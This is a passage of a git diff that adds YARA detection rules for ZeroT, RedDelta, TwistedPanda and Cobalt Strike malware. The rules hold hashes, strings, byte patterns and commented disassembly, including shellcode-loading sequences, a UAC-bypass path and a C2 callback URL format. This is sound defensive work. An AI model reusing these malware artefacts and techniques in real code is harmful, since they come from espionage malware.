+      $s3 = "20160620.htm" fullword ascii
+      $s4 = "* $l&$" fullword ascii
+      $s5 = "dfjhmh" fullword ascii
+      $s6 = "/20160620.htm" fullword ascii
+   condition:
+      ( uint16(0) == 0x5449 and filesize < 1000KB and 3 of them ) or ( all of them )
+}
+
+rule PP_CN_APT_ZeroT_4 {
+   meta:
+      description = "Detects malware from the Proofpoint CN APT ZeroT incident"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
+      date = "2017-02-03"
+      hash1 = "a9519d2624a842d2c9060b64bb78ee1c400fea9e43d4436371a67cbf90e611b8"
+      id = "b21961ee-d346-51d3-bacd-02554240162d"
+   strings:
+      $s1 = "Mcutil.dll" fullword ascii
+      $s2 = "mcut.exe" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 1000KB and all of them )
+}
+
+rule PP_CN_APT_ZeroT_5 {
+   meta:
+      description = "Detects malware from the Proofpoint CN APT ZeroT incident"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
+      date = "2017-02-03"
+      hash1 = "74dd52aeac83cc01c348528a9bcb20bbc34622b156f40654153e41817083ba1d"
+      id = "2a7c6a36-aace-562e-bbc4-425c1d93fab1"
+   strings:
+      $x1 = "dbozcb" fullword ascii
+
+      $s1 = "nflogger.dll" fullword ascii
+      $s2 = "/svchost.exe" fullword ascii
+      $s3 = "1207.htm" fullword ascii
+      $s4 = "/1207.htm" fullword ascii
+   condition:
+      ( uint16(0) == 0x5449 and filesize < 1000KB and 1 of ($x*) and 1 of ($s*) ) or ( all of them )
+}
+
+rule PP_CN_APT_ZeroT_6 {
+   meta:
+      description = "Detects malware from the Proofpoint CN APT ZeroT incident"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
+      date = "2017-02-03"
+      hash1 = "a16078c6d09fcfc9d6ff7a91e39e6d72e2d6d6ab6080930e1e2169ec002b37d3"
+      id = "2e3bb4bd-5e20-56e7-a82b-d717d83eaeeb"
+   strings:
+      $s1 = "jGetgQ|0h9=" fullword ascii
+      $s2 = "\\sfxrar32\\Release\\sfxrar.pdb"
+   condition:
+      uint16(0) == 0x5a4d and filesize < 1000KB and all of them
+}
+
+rule PP_CN_APT_ZeroT_7 {
+   meta:
+      description = "Detects malware from the Proofpoint CN APT ZeroT incident"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
+      date = "2017-02-03"
+      hash1 = "fc2d47d91ad8517a4a974c4570b346b41646fac333d219d2f1282c96b4571478"
+      id = "e9cdca86-84a8-5673-935c-c319b523674b"
+   strings:
+      $s1 = "RasTls.dll" fullword ascii
+      $s2 = "RasTls.exe" fullword ascii
+      $s4 = "LOADER ERROR" fullword ascii
+      $s5 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 1000KB and all of them )
+}
+
+rule PP_CN_APT_ZeroT_8 {
+   meta:
+      description = "Detects malware from the Proofpoint CN APT ZeroT incident"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
+      date = "2017-02-03"
+      hash1 = "4ef91c17b1415609a2394d2c6c353318a2503900e400aab25ab96c9fe7dc92ff"
+      id = "f9a4f092-c699-5e91-9667-64ffe1b02bc1"
+   strings:
+      $s1 = "/svchost.exe" fullword ascii
+      $s2 = "RasTls.dll" fullword ascii
+      $s3 = "20160620.htm" fullword ascii
+      $s4 = "/20160620.htm" fullword ascii
+   condition:
+      ( uint16(0) == 0x5449 and filesize < 1000KB and 3 of them )
+}
+
+rule PP_CN_APT_ZeroT_9 {
+   meta:
+      description = "Detects malware from the Proofpoint CN APT ZeroT incident"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
+      date = "2017-02-03"
+      hash1 = "a685cf4dca6a58213e67d041bba637dca9cb3ea6bb9ad3eae3ba85229118bce0"
+      id = "e1c32993-409c-5a62-8239-cff99fb83a7f"
+   strings:
+      $x1 = "nflogger.dll" fullword ascii
+      $s7 = "Zlh.exe" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 1000KB and all of them )
+}
+
+rule CN_APT_ZeroT_nflogger {
+   meta:
+      description = "Chinese APT by Proofpoint ZeroT RAT  - file nflogger.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
+      date = "2017-02-04"
+      hash1 = "946adbeb017616d56193a6d43fe9c583be6ad1c7f6a22bab7df9db42e6e8ab10"
+      id = "0d23f312-e3b6-5c23-855b-25ae54265512"
+   strings:
+      $x1 = "\\LoaderDll.VS2010\\Release\\" ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and all of them )
+}
+
+rule CN_APT_ZeroT_extracted_Go {
+   meta:
+      description = "Chinese APT by Proofpoint ZeroT RAT  - file Go.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
+      date = "2017-02-04"
+      modified = "2023-01-06"
+      hash1 = "83ddc69fe0d3f3d2f46df7e72995d59511c1bfcca1a4e14c330cb71860b4806b"
+      id = "ba929e6d-4162-58e7-b8a8-bcb066b64522"
+   strings:
+      $x1 = "%s\\cmd.exe /c %s\\Zlh.exe" fullword ascii
+      $x2 = "\\BypassUAC.VS2010\\Release\\" ascii
+
+      $s1 = "Zjdsf.exe" fullword ascii
+      $s2 = "SS32prep.exe" fullword ascii
+      $s3 = "windowsgrep.exe" fullword ascii
+      $s4 = "Sysdug.exe" fullword ascii
+      $s5 = "Proessz.exe" fullword ascii
+      $s6 = "%s\\Zlh.exe" fullword ascii
+      $s7 = "/C %s\\%s" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and ( 1 of ($x*) or 3 of ($s*) ) ) or ( 7 of them )
+}
+
+rule CN_APT_ZeroT_extracted_Mcutil {
+   meta:
+      description = "Chinese APT by Proofpoint ZeroT RAT  - file Mcutil.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
+      date = "2017-02-04"
+      hash1 = "266c06b06abbed846ebabfc0e683f5d20dadab52241bc166b9d60e9b8493b500"
+      id = "c887d36b-8aeb-54f1-a683-727561723238"
+   strings:
+      $s1 = "LoaderDll.dll" fullword ascii
+      $s2 = "QageBox1USER" fullword ascii
+      $s3 = "xhmowl" fullword ascii
+      $s4 = "?KEYKY" fullword ascii
+      $s5 = "HH:mm:_s" fullword ascii
+      $s6 = "=licni] has maX0t" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 90KB and 3 of them ) or ( all of them )
+}
+
+rule CN_APT_ZeroT_extracted_Zlh {
+   meta:
+      description = "Chinese APT by Proofpoint ZeroT RAT - file Zlh.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
+      date = "2017-02-04"
+      hash1 = "711f0a635bbd6bf1a2890855d0bd51dff79021db45673541972fe6e1288f5705"
+      id = "4c8b9a90-6cb3-5aba-a993-f73207341d0e"
+   strings:
+      $s1 = "nflogger.dll" fullword wide
+      $s2 = "%s %d: CreateProcess('%s', '%s') failed. Windows error code is 0x%08x" fullword ascii
+      $s3 = "_StartZlhh(): Executed \"%s\"" ascii
+      $s4 = "Executable: '%s' (%s) %i" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and 3 of them )
+}
diff --git a/yara-Neo23x0/apt_cn_reddelta.yar b/yara-Neo23x0/apt_cn_reddelta.yar
new file mode 100644
index 0000000..c221068
--- /dev/null
+++ b/yara-Neo23x0/apt_cn_reddelta.yar
@@ -0,0 +1,78 @@
+
+rule APT_CN_MAL_RedDelta_Shellcode_Loader_Oct20_1 {
+   meta:
+      description = "Detects Red Delta samples"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/JAMESWT_MHT/status/1316387482708119556"
+      date = "2020-10-14"
+      hash1 = "30b2bbce0ca4cb066721c94a64e2c37b7825dd72fc19c20eb0ab156bea0f8efc"
+      hash2 = "42ed73b1d5cc49e09136ec05befabe0860002c97eb94e9bad145e4ea5b8be2e2"
+      hash3 = "480a8c883006232361c5812af85de9799b1182f1b52145ccfced4fa21b6daafa"
+      hash4 = "7ea7c6406c5a80d3c15511c4d97ec1e45813e9c58431f386710d0486c4898b98"
+      id = "47417488-e843-5346-9baa-fcce30b884d1"
+   strings:
+      $x1 = "InjectShellCode" ascii fullword
+
+      $s1 = "DotNetLoader.exe" wide ascii fullword
+      $s2 = "clipboardinject" ascii fullword
+      $s3 = "download.php?raw=1" wide
+      $s4 = "Windows NT\\CurrentVersion\\AppCompatFlags\\TelemetryController\\Levint" wide
+      $s5 = "FlashUpdate.exe" wide
+      $s6 = "raw_cc_url" ascii fullword
+
+      $op1 = { 48 8b 4c 24 78 48 89 01 e9 1a ff ff ff 48 8b 44 }
+      $op2 = { ff ff 00 00 77 2a 8b 44 24 38 8b 8c 24 98 }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 200KB and
+      $x1 or 3 of them
+}
+
+rule APT_CN_MAL_RedDelta_Shellcode_Loader_Oct20_2 {
+   meta:
+      description = "Detects Red Delta samples"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/JAMESWT_MHT/status/1316387482708119556"
+      date = "2020-10-14"
+      hash1 = "260ebbf392498d00d767a5c5ba695e1a124057c1c01fff2ae76db7853fe4255b"
+      hash2 = "9ccb4ed133be5c9c554027347ad8b722f0b4c3f14bfd947edfe75a015bf085e5"
+      hash3 = "b3fd750484fca838813e814db7d6491fea36abe889787fb7cf3fb29d9d9f5429"
+      id = "acb1024a-64af-51ac-84c8-7fe9a5bd4538"
+   strings:
+      $x1 = "\\CLRLoader.exe" wide fullword
+      $x2 = "/callback.php?token=%s&computername=%s&username=%s" ascii fullword
+
+      $s1 = "DotNetLoader.Program" wide fullword
+      $s2 = "/download.php?api=40" ascii fullword
+      $s3 = "get %d URLDir" ascii fullword
+      $s4 = "Read code failed" ascii fullword
+      $s5 = "OpenFile fail!" wide fullword
+      $s6 = "Writefile success" wide fullword
+
+      $op1 = { 4c 8d 45 e0 49 8b cc 41 8d 51 c3 e8 34 77 02 00 }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 3000KB and
+      1 of ($x*) or 4 of them
+}
+
+rule APT_CN_MAL_RedDelta_Shellcode_Loader_Oct20_3 {
+   meta:
+      description = "Detects Red Delta samples"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/JAMESWT_MHT/status/1316387482708119556"
+      date = "2020-10-14"
+      modified = "2022-12-21"
+      hash1 = "740992d40b84b10aa9640214a4a490e989ea7b869cea27dbbdef544bb33b1048"
+      id = "b52836bb-cdef-5416-a8e1-72d0b2298546"
+   strings:
+      $s1 = "Taskschd.dll" ascii fullword
+      $s2 = "AddTaskPlanDllVerson.dll" ascii fullword
+      $s3 = "\\FlashUpdate.exe" ascii
+      $s4 = "D:\\Project\\FBIRedTeam" ascii fullword
+      $s5 = "Error %s:%d, ErrorCode: %x" ascii fullword
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 400KB and
+      4 of them
+}
diff --git a/yara-Neo23x0/apt_cn_twisted_panda.yar b/yara-Neo23x0/apt_cn_twisted_panda.yar
new file mode 100644
index 0000000..8240647
--- /dev/null
+++ b/yara-Neo23x0/apt_cn_twisted_panda.yar
@@ -0,0 +1,194 @@
+rule APT_CN_TwistedPanda_loader {
+   meta:
+      author = "Check Point Research"
+      description = "Detects loader used by TwistedPanda"
+      date = "2022-04-14"
+      reference = "https://research.checkpoint.com/2022/twisted-panda-chinese-apt-espionage-operation-against-russians-state-owned-defense-institutes/"
+      score = 80
+      hash1 = "5b558c5fcbed8544cb100bd3db3c04a70dca02eec6fedffd5e3dcecb0b04fba0"
+      hash2 = "efa754450f199caae204ca387976e197d95cdc7e83641444c1a5a91b58ba6198"
+      
+      id = "a10f6019-f069-579c-b112-18537a7d8fd8"
+   strings:
+      
+      // 6A 40                                   push    40h ; '@'
+      // 68 00 30 00 00                          push    3000h
+      $seq1 = { 6A 40 68 00 30 00 00 }
+      
+      // 6A 00                                   push    0               ; lpOverlapped
+      // 50                                      push    eax             ; lpNumberOfBytesRead
+      // 6A 14                                   push    14h             ; nNumberOfBytesToRead
+      // 8D ?? ?? ?? ?? ??                       lea     eax, [ebp+Buffer]
+      // 50                                      push    eax             ; lpBuffer
+        // 53                                      push    ebx             ; hFile
+      // FF 15 04 D0 4C 70                       call    ds:ReadFile
+      $seq2 = { 6A 00 50 6A 14 8D ?? ?? ?? ?? ?? 50 53 FF }
+      // 6A 00                                   push    0
+      // 6A 00                                   push    0
+      // 6A 03                                   push    3
+      // 6A 00                                   push    0
+      // 6A 03                                   push    3
+      // 68 00 00 00 80                          push    80000000h
+      $seq3 = { 6A 00 6A 00 6A 03 6A 00 6A 03 68 00 00 00 80 }
+            
+      // Decryption sequence
+      $decryption = { 8B C? [2-3] F6 D? 1A C? [2-3] [2-3] 30 0? ?? 4? }
+ 
+   condition:
+      // MZ signature at offset 0 and ...
+      uint16(0) == 0x5A4D and
+        
+      // ... PE signature at offset stored in MZ header at 0x3C
+      uint32(uint32(0x3C)) == 0x00004550 and 
+      filesize < 3000KB and all of ($seq*) and $decryption
+}
+
+rule APT_CN_TwistedPanda_SPINNER_1 {
+   meta:
+      author = "Check Point Research"
+      description = "Detects the obfuscated variant of SPINNER payload used by TwistedPanda"
+      date = "2022-04-14"
+      reference = "https://research.checkpoint.com/2022/twisted-panda-chinese-apt-espionage-operation-against-russians-state-owned-defense-institutes/"
+      score = 80
+      hash1 = "a9fb7bb40de8508606a318866e0e5ff79b98f314e782f26c7044622939dfde81"
+      
+      id = "0b44013d-0caa-5ea2-ab08-e2a6a5732c03"
+   strings:
+      // C7 ?? ?? ?? 00 00 00                                mov     dword ptr [eax+??], ??
+      // C7 ?? ?? ?? 00 00 00                                mov     dword ptr [eax+??], ??
+      // C6                                                  mov     byte ptr [eax], 0
+      $config_init = { C7 ?? ?? ?? 00 00 00 C7 ?? ?? ?? 00 00 00 C6 }
+      $c2_cmd_1 = { 01 00 03 10}
+      $c2_cmd_2 = { 02 00 01 10}
+      $c2_cmd_3 = { 01 00 01 10}
+      // 8D 83 ?? ?? ?? ??                                   lea     eax, xor_key[ebx]
+      // 80 B3 ?? ?? ?? ?? ??                                xor     xor_key[ebx], 50h
+      // 89 F1                                               mov     ecx, esi        ; this
+      // 6A 01                                               push    1               ; Size
+      // 50                                                  push    eax             ; Src
+      // E8 ?? ?? ?? ??                                      call    str_append
+      // 80 B3 ?? ?? ?? ?? ??                                xor     xor_key[ebx], 50h
+      $decryption = { 8D 83 [4] 80 B3 [5] 89 F1 6A 01 50 E8 [4] 80 B3 }
+ 
+   condition:
+      // MZ signature at offset 0 and ...
+      uint16(0) == 0x5A4D and
+        
+      // ... PE signature at offset stored in MZ header at 0x3C
+      uint32(uint32(0x3C)) == 0x00004550 and 
+      filesize < 3000KB  and #config_init > 10 and 2 of ($c2_cmd_*) and $decryption
+}
+
+rule APT_CN_TwistedPanda_SPINNER_2 {
+   meta:
+      author = "Check Point Research"
+      description = "Detects an older variant of SPINNER payload used by TwistedPanda"
+      date = "2022-04-14"
+      reference = "https://research.checkpoint.com/2022/twisted-panda-chinese-apt-espionage-operation-against-russians-state-owned-defense-institutes/"
+      score = 80
+      hash1 = "28ecd1127bac08759d018787484b1bd16213809a2cc414514dc1ea87eb4c5ab8"
+      
+      id = "bbbf3af1-127f-5d32-967f-bdb94311d1d6"
+   strings:
+      // C7 ?? ?? ?? 00 00 00                                mov     dword ptr [eax+??], ??
+      // C7 ?? ?? ?? 00 00 00                                mov     dword ptr [eax+??], ??
+      // C6                                                  mov     byte ptr [eax], 0
+      $config_init = { C7 [3] 00 00 00 C7 [3] 00 00 00 C6 }
+      $c2_cmd_1 = { 01 00 03 10 }
+      $c2_cmd_2 = { 02 00 01 10 }
+      $c2_cmd_3 = { 01 00 01 10 }
+      $c2_cmd_4 = { 01 00 00 10 }
+      $c2_cmd_5 = { 02 00 00 10 }
+      // 80 B3 ?? ?? ?? ?? ??                    xor     ds:dd_encrypted_url[ebx], 50h
+      // 8D BB ?? ?? ?? ??                       lea     edi, dd_encrypted_url[ebx]
+      // 8B 56 14                                mov     edx, [esi+14h]
+      // 8B C2                                   mov     eax, edx
+      // 8B 4E 10                                mov     ecx, [esi+10h]
+      // 2B C1                                   sub     eax, ecx
+      // 83 F8 01                                cmp     eax, 1
+      $decryption = { 80 B3 [5] 8D BB [4] 8B 56 14 8B C2 8B 4E 10 2B C1 83 F8 01 }
+ 
+   condition:
+      // MZ signature at offset 0 and ...
+      uint16(0) == 0x5A4D and
+        
+      // ... PE signature at offset stored in MZ header at 0x3C
+      uint32(uint32(0x3C)) == 0x00004550 and 
+      filesize < 3000KB  and #config_init > 10 and 2 of ($c2_cmd_*) and $decryption
+}
+
+rule APT_CN_TwistedPanda_64bit_Loader {
+   meta:
+      author = "Check Point Research"
+      description = "Detects the 64bit Loader DLL used by TwistedPanda"
+      date = "2022-04-14"      
+      reference = "https://research.checkpoint.com/2022/twisted-panda-chinese-apt-espionage-operation-against-russians-state-owned-defense-institutes/"
+      score = 80
+      hash1 = "e0d4ef7190ff50e6ad2a2403c87cc37254498e8cc5a3b2b8798983b1b3cdc94f"
+      
+      id = "2172dd33-204b-5a05-ad26-534a0c1d7a17"
+   strings:
+      // 48 8D ?? ?? ?? ?? ?? ?? ??              lea     rdx, ds:2[rdx*2]
+      // 48 8B C1                                mov     rax, rcx
+      // 48 81 ?? ?? ?? ?? ??                    cmp     rdx, 1000h
+      // 72 ??                                   jb      short loc_7FFDF0BA1B48
+      $path_check = { 48 8D [6] 48 8B ?? 48 81 [5] 72 }
+      // 48 8B D0                                mov     rdx, rax        ; lpBuffer
+      // 41 B8 F0 16 00 00                       mov     r8d, 16F0h      ; nNumberOfBytesToRead
+      // 48 8B CF                                mov     rcx, rdi        ; hFile
+      // 48 8B D8                                mov     rbx, rax
+      // FF ?? ?? ?? ??                          call    cs:ReadFile
+      $shellcode_read = { 48 8B D0 41 B8 F0 16 00 00 48 8B CF 48 8B D8 FF} 
+      // BA F0 16 00 00                          mov     edx, 16F0h      ; dwSize
+      // 44 8D 4E 40                             lea     r9d, [rsi+40h]  ; flProtect
+      // 33 C9                                   xor     ecx, ecx        ; lpAddress
+      // 41 B8 00 30 00 00                       mov     r8d, 3000h      ; flAllocationType
+      // FF ?? ?? ?? ?? ??                       call    cs:VirtualAlloc
+     $shellcode_allocate = { BA F0 16 00 00 44 8D 4E 40 33 C9 41 B8 00 30 00 00 FF }
+   condition:
+      // MZ signature at offset 0 and ...
+      uint16(0) == 0x5A4D and
+        
+      // ... PE signature at offset stored in MZ header at 0x3C
+      uint32(uint32(0x3C)) == 0x00004550 and 
+      filesize < 3000KB  and $path_check and $shellcode_allocate and $shellcode_read
+}
+
+rule APT_CN_TwistedPanda_droppers {
+   meta:
+      author = "Check Point Research"
+      description = "Detects droppers used by TwistedPanda"
+      date = "2022-04-14"
+      reference = "https://research.checkpoint.com/2022/twisted-panda-chinese-apt-espionage-operation-against-russians-state-owned-defense-institutes/"
+      score = 80
+      hash1 = "59dea38da6e515af45d6df68f8959601e2bbf0302e35b7989e741e9aba2f0291"
+      hash2 = "8b04479fdf22892cdfebd6e6fbed180701e036806ed0ddbe79f0b29f73449248"
+      hash3 = "f29a0cda6e56fc0e26efa3b6628c6bcaa0819a3275a10e9da2a8517778152d66"
+      
+      id = "f61c8b97-5870-5837-942f-f1650870960a"
+   strings:
+     // 81 FA ?? ?? ?? ??                                   cmp     edx, 4BED1896h
+     // 75 ??                                               jnz     short loc_140001829
+     // E8 ?? ?? ?? ??                                      call    sub_1400019D0
+     // 48 89 05 ?? ?? ?? ??                                mov     cs:qword_14001ED38, rax
+     // E? ?? ?? ?? ??                                      jmp     loc_1400018DD
+      $switch_control = { 81 FA [4] 75 ?? E8 [4] 48 89 05 [4] E? }
+     // 41 0F ?? ??                                         movsx   edx, byte ptr [r9]
+     // 44 ?? ??                                            or      r8d, edx
+     // 41 ?? ?? 03                                         rol     r8d, 3
+     // 41 81 ?? ?? ?? ?? ??                                xor     r8d, 0EF112233h
+     // 41 ?? ??                                            mov     eax, r10d
+      $byte_manipulation = { 41 0F [2] 44 [2] 41 [2] 03 41 81 [5] 41 }
+     // %public%
+     $stack_strings_1 = { 25 00 70 00 }
+     $stack_strings_2 = { 75 00 62 00 }
+     $stack_strings_3 = { 6C 00 69 00 }
+     $stack_strings_4 = { 63 00 25 00 }
+   condition:
+      // MZ signature at offset 0 and ...
+      uint16(0) == 0x5A4D and
+        
+      // ... PE signature at offset stored in MZ header at 0x3C
+      uint32(uint32(0x3C)) == 0x00004550 and 
+      filesize < 3000KB  and #switch_control > 8 and all of ($stack_strings_*) and $byte_manipulation
+}
diff --git a/yara-Neo23x0/apt_cobaltstrike.yar b/yara-Neo23x0/apt_cobaltstrike.yar
new file mode 100644
index 0000000..7c04dd6
--- /dev/null
+++ b/yara-Neo23x0/apt_cobaltstrike.yar
@@ -0,0 +1,122 @@
+/*
+   LICENSE
+   Copyright (C) 2015 JPCERT Coordination Center. All Rights Reserved.
+
+   Redistribution and use in source and binary forms, with or without
+   modification, are permitted provided that the following conditions are met:
+
+   1. Redistributions of source code must retain the above copyright notice,
+      this list of conditions and the following acknowledgments and disclaimers.
+   2. Redistributions in binary form must reproduce the above copyright notice,
+      this list of conditions and the following acknowledgments and disclaimers
+      in the documentation and/or other materials provided with the distribution.
+   3. Products derived from this software may not include "JPCERT Coordination
+      Center" in the name of such derived product, nor shall "JPCERT
+      Coordination Center"  be used to endorse or promote products derived
+      from this software without prior written permission. For written
+      permission, please contact pr@jpcert.or.jp.
+
+   ACKNOWLEDGMENTS AND DISCLAIMERS
+   Copyright (C) 2015 JPCERT Coordination Center
+
+   This software is based upon work funded and supported by the Ministry of
+   Economy, Trade and Industry.
+
+   Any opinions, findings and conclusions or recommendations expressed in this
+   software are those of the author(s) and do not necessarily reflect the views
+   of the Ministry of Economy, Trade and Industry.
+
+   NO WARRANTY. THIS JPCERT COORDINATION CENTER SOFTWARE IS FURNISHED ON
+   AN "AS-IS" BASIS. JPCERT COORDINATION CENTER MAKES NO WARRANTIES OF
+   ANY KIND, EITHER EXPRESSED OR IMPLIED, AS TO ANY MATTER INCLUDING, BUT
+   NOT LIMITED TO, WARRANTY OF FITNESS FOR PURPOSE OR MERCHANTABILITY,
+   EXCLUSIVITY, OR RESULTS OBTAINED FROM USE OF THE SOFTWARE. JPCERT
+   COORDINATION CENTER DOES NOT MAKE ANY WARRANTY OF ANY KIND WITH
+   RESPECT TO FREEDOM FROM PATENT, TRADEMARK, OR COPYRIGHT INFRINGEMENT.
+
+   This software has been approved for public release and unlimited distribution.
+*/
+
+rule APT_CobaltStrike_Beacon_Indicator {
+   meta:
+      description = "Detects CobaltStrike beacons"
+      author = "JPCERT"
+      reference = "https://github.com/JPCERTCC/aa-tools/blob/master/cobaltstrikescan.py"
+      date = "2018-11-09"
+      id = "8508c7a0-0131-59b1-b537-a6d1c6cb2b35"
+   strings:
+      $v1 = { 73 70 72 6E 67 00 }
+      $v2 = { 69 69 69 69 69 69 69 69 }
+   condition:
+      uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule HKTL_CobaltStrike_Beacon_Strings {
+   meta:
+      author = "Elastic"
+      description = "Identifies strings used in Cobalt Strike Beacon DLL"
+      reference = "https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures"
+      date = "2021-03-16"
+      id = "af558aa2-a3dc-5a7a-bc74-42bb2246091c"
+   strings:
+      $s1 = "%02d/%02d/%02d %02d:%02d:%02d"
+      $s2 = "Started service %s on %s"
+      $s3 = "%s as %s\\%s: %d"
+   condition:
+      2 of them
+}
+
+rule HKTL_CobaltStrike_Beacon_XOR_Strings {
+   meta:
+      author = "Elastic"
+      description = "Identifies XOR'd strings used in Cobalt Strike Beacon DLL"
+      reference = "https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures"
+      date = "2021-03-16"
+      /* Used for beacon config decoding in THOR */
+      xor_s1 = "%02d/%02d/%02d %02d:%02d:%02d"
+      xor_s2 = "Started service %s on %s"
+      xor_s3 = "%s as %s\\%s: %d"
+      id = "359160a8-cf1c-58a8-bf7f-c09a8d661308"
+   strings:
+      $s1 = "%02d/%02d/%02d %02d:%02d:%02d" xor(0x01-0xff)
+      $s2 = "Started service %s on %s" xor(0x01-0xff)
+      $s3 = "%s as %s\\%s: %d" xor(0x01-0xff)
+
+      $fp1 = "MalwareRemovalTool"
+   condition:
+      2 of ($s*) and not 1 of ($fp*)
+}
+
+rule HKTL_CobaltStrike_Beacon_4_2_Decrypt {
+   meta:
+      author = "Elastic"
+      description = "Identifies deobfuscation routine used in Cobalt Strike Beacon DLL version 4.2"
+      reference = "https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures"
+      date = "2021-03-16"
+      id = "63b71eef-0af5-5765-b957-ccdc9dde053b"
+   strings:
+      $a_x64 = {4C 8B 53 08 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 85 C9 75 05 45 85 DB 74 33 45 3B CB 73 E6 49 8B F9 4C 8B 03}
+      $a_x86 = {8B 46 04 8B 08 8B 50 04 83 C0 08 89 55 08 89 45 0C 85 C9 75 04 85 D2 74 23 3B CA 73 E6 8B 06 8D 3C 08 33 D2}
+   condition:
+      any of them
+}
+
+rule HKTL_Win_CobaltStrike : Commodity {
+   meta:
+      author = "threatintel@volexity.com"
+      date = "2021-05-25"
+      description = "The CobaltStrike malware family."
+      hash = "b041efb8ba2a88a3d172f480efa098d72eef13e42af6aa5fb838e6ccab500a7c"
+      reference = "https://www.volexity.com/blog/2021/05/27/suspected-apt29-operation-launches-election-fraud-themed-phishing-campaigns/"
+      id = "113ba304-261f-5c59-bc56-57515c239b6d"
+   strings:
+      $s1 = "%s (admin)" fullword
+      $s2 = {48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D 0A 43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 6F 63 74 65 74 2D 73 74 72 65 61 6D 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 25 64 0D 0A 0D 0A 00}
+      $s3 = "%02d/%02d/%02d %02d:%02d:%02d" fullword
+      $s4 = "%s as %s\\%s: %d" fullword
+      $s5 = "%s&%s=%s" fullword
+      $s6 = "rijndael" fullword
+      $s7 = "(null)"
+   condition:
+      all of them
+}
diff --git a/yara-Neo23x0/apt_cobaltstrike_evasive.yar b/yara-Neo23x0/apt_cobaltstrike_evasive.yar
new file mode 100644
index 0000000..9eb2703
--- /dev/null
+++ b/yara-Neo23x0/apt_cobaltstrike_evasive.yar
@@ -0,0 +1,320 @@
+rule CobaltStrike_C2_Host_Indicator {
+	meta:
+		description = "Detects CobaltStrike C2 host artifacts"
+		author = "yara@s3c.za.net"
+		date = "2019-08-16"
+		id = "7f15ee30-664e-59b8-9e31-35d88e58a45e"
+	strings:
+		$c2_indicator_fp = "#Host: %s"
+		$c2_indicator = "#Host:"
+	condition:
+		$c2_indicator and not $c2_indicator_fp
+		and not uint32(0) == 0x0a786564
+		and not uint32(0) == 0x0a796564
+}
+
+rule CobaltStrike_Sleep_Decoder_Indicator {
+	meta:
+		description = "Detects CobaltStrike sleep_mask decoder"
+		author = "yara@s3c.za.net"
+		date = "2021-07-19"
+		id = "d5b53d68-55f9-5837-9b0c-e7be2f3bd072"
+	strings:
+		$sleep_decoder = { 48 89 5C 24 08 48 89 6C 24 10 48 89 74 24 18 57 48 83 EC 20 4C 8B 51 08 41 8B F0 48 8B EA 48 8B D9 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 85 C9 }
+	condition:
+		$sleep_decoder
+}
+
+rule CobaltStrike_C2_Encoded_XOR_Config_Indicator {
+	meta:
+		description = "Detects CobaltStrike C2 encoded profile configuration"
+		author = "yara@s3c.za.net"
+		date = "2021-07-08"
